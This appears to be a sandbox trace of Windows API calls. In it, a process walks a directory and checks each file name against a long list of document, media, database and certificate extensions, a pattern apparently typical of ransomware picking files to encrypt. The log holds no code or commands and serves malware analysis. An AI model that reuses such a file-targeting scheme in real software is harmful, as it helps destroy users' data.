	[0070.043] lstrlenW (lpString=".crt") returned 4
	[0070.043] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".crw") returned 4
	[0070.043] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".cs") returned 3
	[0070.043] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0070.043] lstrlenW (lpString=".css") returned 4
	[0070.043] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".csv") returned 4
	[0070.043] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".cub") returned 4
	[0070.043] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".dae") returned 4
	[0070.043] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".dat") returned 4
	[0070.043] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".db") returned 3
	[0070.043] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0070.043] lstrlenW (lpString=".dbf") returned 4
	[0070.043] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".dbx") returned 4
	[0070.043] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".dc3") returned 4
	[0070.043] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".dcm") returned 4
	[0070.043] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".dcr") returned 4
	[0070.043] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".der") returned 4
	[0070.043] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".dib") returned 4
	[0070.043] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".dic") returned 4
	[0070.043] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".dif") returned 4
	[0070.044] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".divx") returned 5
	[0070.044] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0070.044] lstrlenW (lpString=".djvu") returned 5
	[0070.044] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0070.044] lstrlenW (lpString=".dng") returned 4
	[0070.044] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".doc") returned 4
	[0070.044] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".docm") returned 5
	[0070.044] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0070.044] lstrlenW (lpString=".docx") returned 5
	[0070.044] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.044] lstrlenW (lpString=".dot") returned 4
	[0070.044] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".dotm") returned 5
	[0070.044] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0070.044] lstrlenW (lpString=".dotx") returned 5
	[0070.044] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0070.044] lstrlenW (lpString=".dpx") returned 4
	[0070.044] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".dqy") returned 4
	[0070.044] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".dsn") returned 4
	[0070.044] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".dt") returned 3
	[0070.044] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0070.044] lstrlenW (lpString=".dtd") returned 4
	[0070.044] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".dwg") returned 4
	[0070.044] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".dwt") returned 4
	[0070.044] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0070.044] lstrlenW (lpString=".dx") returned 3
	[0070.044] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0070.044] lstrlenW (lpString=".dxf") returned 4
	[0070.045] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".edml") returned 5
	[0070.045] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0070.045] lstrlenW (lpString=".efd") returned 4
	[0070.045] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".elf") returned 4
	[0070.045] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".emf") returned 4
	[0070.045] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".emz") returned 4
	[0070.045] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".epf") returned 4
	[0070.045] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".eps") returned 4
	[0070.045] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".epsf") returned 5
	[0070.045] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0070.045] lstrlenW (lpString=".epsp") returned 5
	[0070.045] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0070.045] lstrlenW (lpString=".erf") returned 4
	[0070.045] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".exr") returned 4
	[0070.045] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".f4v") returned 4
	[0070.045] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".fido") returned 5
	[0070.045] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0070.045] lstrlenW (lpString=".flm") returned 4
	[0070.045] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0070.045] lstrlenW (lpString=".flv") returned 4
	[0070.045] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".frm") returned 4
	[0070.046] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".fxg") returned 4
	[0070.046] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".geo") returned 4
	[0070.046] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".gif") returned 4
	[0070.046] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".grs") returned 4
	[0070.046] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".gz") returned 3
	[0070.046] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0070.046] lstrlenW (lpString=".h") returned 2
	[0070.046] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0070.046] lstrlenW (lpString=".hdr") returned 4
	[0070.046] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".hpp") returned 4
	[0070.046] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".hta") returned 4
	[0070.046] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".htc") returned 4
	[0070.046] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".htm") returned 4
	[0070.046] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".html") returned 5
	[0070.046] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0070.046] lstrlenW (lpString=".icb") returned 4
	[0070.046] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0070.046] lstrlenW (lpString=".ics") returned 4
	[0070.046] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".iff") returned 4
	[0070.047] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".inc") returned 4
	[0070.047] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".indd") returned 5
	[0070.047] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0070.047] lstrlenW (lpString=".ini") returned 4
	[0070.047] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".iqy") returned 4
	[0070.047] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".j2c") returned 4
	[0070.047] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".j2k") returned 4
	[0070.047] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".java") returned 5
	[0070.047] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0070.047] lstrlenW (lpString=".jp2") returned 4
	[0070.047] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".jpc") returned 4
	[0070.047] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".jpe") returned 4
	[0070.047] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".jpeg") returned 5
	[0070.047] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0070.047] lstrlenW (lpString=".jpf") returned 4
	[0070.047] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".jpg") returned 4
	[0070.047] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.047] lstrlenW (lpString=".jpx") returned 4
	[0070.047] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".js") returned 3
	[0070.048] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0070.048] lstrlenW (lpString=".jsf") returned 4
	[0070.048] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".json") returned 5
	[0070.048] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0070.048] lstrlenW (lpString=".jsp") returned 4
	[0070.048] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".kdc") returned 4
	[0070.048] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".kmz") returned 4
	[0070.048] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".kwm") returned 4
	[0070.048] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".lasso") returned 6
	[0070.048] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0070.048] lstrlenW (lpString=".lbi") returned 4
	[0070.048] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".lgf") returned 4
	[0070.048] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".lgp") returned 4
	[0070.048] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".log") returned 4
	[0070.048] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".m1v") returned 4
	[0070.048] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".m4a") returned 4
	[0070.048] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".m4v") returned 4
	[0070.048] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".max") returned 4
	[0070.048] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0070.048] lstrlenW (lpString=".md") returned 3
	[0070.048] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0070.048] lstrlenW (lpString=".mda") returned 4
	[0070.048] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mdb") returned 4
	[0070.049] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mde") returned 4
	[0070.049] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mdf") returned 4
	[0070.049] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mdw") returned 4
	[0070.049] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mef") returned 4
	[0070.049] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mft") returned 4
	[0070.049] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mfw") returned 4
	[0070.049] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mht") returned 4
	[0070.049] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mhtml") returned 6
	[0070.049] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0070.049] lstrlenW (lpString=".mka") returned 4
	[0070.049] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mkidx") returned 6
	[0070.049] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0070.049] lstrlenW (lpString=".mkv") returned 4
	[0070.049] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mos") returned 4
	[0070.049] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mov") returned 4
	[0070.049] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mp3") returned 4
	[0070.049] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mp4") returned 4
	[0070.049] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mpeg") returned 5
	[0070.049] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0070.049] lstrlenW (lpString=".mpg") returned 4
	[0070.049] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0070.049] lstrlenW (lpString=".mpv") returned 4
	[0070.050] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0070.050] lstrlenW (lpString=".mrw") returned 4
	[0070.050] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0070.050] lstrlenW (lpString=".msg") returned 4
	[0070.050] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0070.050] lstrlenW (lpString=".mxl") returned 4
	[0070.050] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0070.050] lstrlenW (lpString=".myd") returned 4
	[0070.050] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0070.050] lstrlenW (lpString=".myi") returned 4
	[0070.050] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0070.050] lstrlenW (lpString=".nef") returned 4
	[0070.050] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0070.050] lstrlenW (lpString=".nrw") returned 4
	[0070.050] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0070.050] lstrlenW (lpString=".obj") returned 4
	[0070.050] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0070.050] lstrlenW (lpString=".odb") returned 4
	[0070.186] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0070.186] lstrlenW (lpString=".odc") returned 4
	[0070.186] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0070.186] lstrlenW (lpString=".odm") returned 4
	[0070.186] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0070.186] lstrlenW (lpString=".odp") returned 4
	[0070.187] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".ods") returned 4
	[0070.187] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".oft") returned 4
	[0070.187] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".one") returned 4
	[0070.187] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".onepkg") returned 7
	[0070.187] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0070.187] lstrlenW (lpString=".onetoc2") returned 8
	[0070.187] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0070.187] lstrlenW (lpString=".opt") returned 4
	[0070.187] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".oqy") returned 4
	[0070.187] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".orf") returned 4
	[0070.187] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".p12") returned 4
	[0070.187] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".p7b") returned 4
	[0070.187] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".p7c") returned 4
	[0070.187] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".pam") returned 4
	[0070.187] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".pbm") returned 4
	[0070.187] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".pct") returned 4
	[0070.187] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".pcx") returned 4
	[0070.187] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".pdd") returned 4
	[0070.187] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".pdf") returned 4
	[0070.187] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.187] lstrlenW (lpString=".pdp") returned 4
	[0070.187] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".pef") returned 4
	[0070.188] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".pem") returned 4
	[0070.188] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".pff") returned 4
	[0070.188] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".pfm") returned 4
	[0070.188] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".pfx") returned 4
	[0070.188] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".pgm") returned 4
	[0070.188] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".php") returned 4
	[0070.188] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".php3") returned 5
	[0070.188] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0070.188] lstrlenW (lpString=".php4") returned 5
	[0070.188] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0070.188] lstrlenW (lpString=".php5") returned 5
	[0070.188] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0070.188] lstrlenW (lpString=".phtml") returned 6
	[0070.188] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0070.188] lstrlenW (lpString=".pict") returned 5
	[0070.188] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0070.188] lstrlenW (lpString=".pl") returned 3
	[0070.188] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0070.188] lstrlenW (lpString=".pls") returned 4
	[0070.188] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".pm") returned 3
	[0070.188] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0070.188] lstrlenW (lpString=".png") returned 4
	[0070.188] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".pnm") returned 4
	[0070.188] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".pot") returned 4
	[0070.188] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0070.188] lstrlenW (lpString=".potm") returned 5
	[0070.189] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0070.189] lstrlenW (lpString=".potx") returned 5
	[0070.189] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0070.189] lstrlenW (lpString=".ppa") returned 4
	[0070.189] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".ppam") returned 5
	[0070.189] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0070.189] lstrlenW (lpString=".ppm") returned 4
	[0070.189] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".pps") returned 4
	[0070.189] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".ppsm") returned 5
	[0070.189] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0070.189] lstrlenW (lpString=".ppt") returned 4
	[0070.189] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".pptm") returned 5
	[0070.189] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0070.189] lstrlenW (lpString=".pptx") returned 5
	[0070.189] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0070.189] lstrlenW (lpString=".prn") returned 4
	[0070.189] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".ps") returned 3
	[0070.189] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0070.189] lstrlenW (lpString=".psb") returned 4
	[0070.189] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".psd") returned 4
	[0070.189] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".pst") returned 4
	[0070.189] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".ptx") returned 4
	[0070.189] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".pub") returned 4
	[0070.189] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".pwm") returned 4
	[0070.189] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0070.189] lstrlenW (lpString=".pxr") returned 4
	[0070.190] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0070.190] lstrlenW (lpString=".py") returned 3
	[0070.190] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0070.190] lstrlenW (lpString=".qt") returned 3
	[0070.190] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0070.190] lstrlenW (lpString=".r3d") returned 4
	[0070.190] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0070.190] lstrlenW (lpString=".raf") returned 4
	[0070.190] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0070.190] lstrlenW (lpString=".rar") returned 4
	[0070.190] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.190] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.190] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.190] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.190] FindClose (in: hFindFile=0x3121690 | out: hFindFile=0x3121690) returned 1
	[0070.190] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.190] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0070.190] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040") returned 26
	[0070.191] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121690
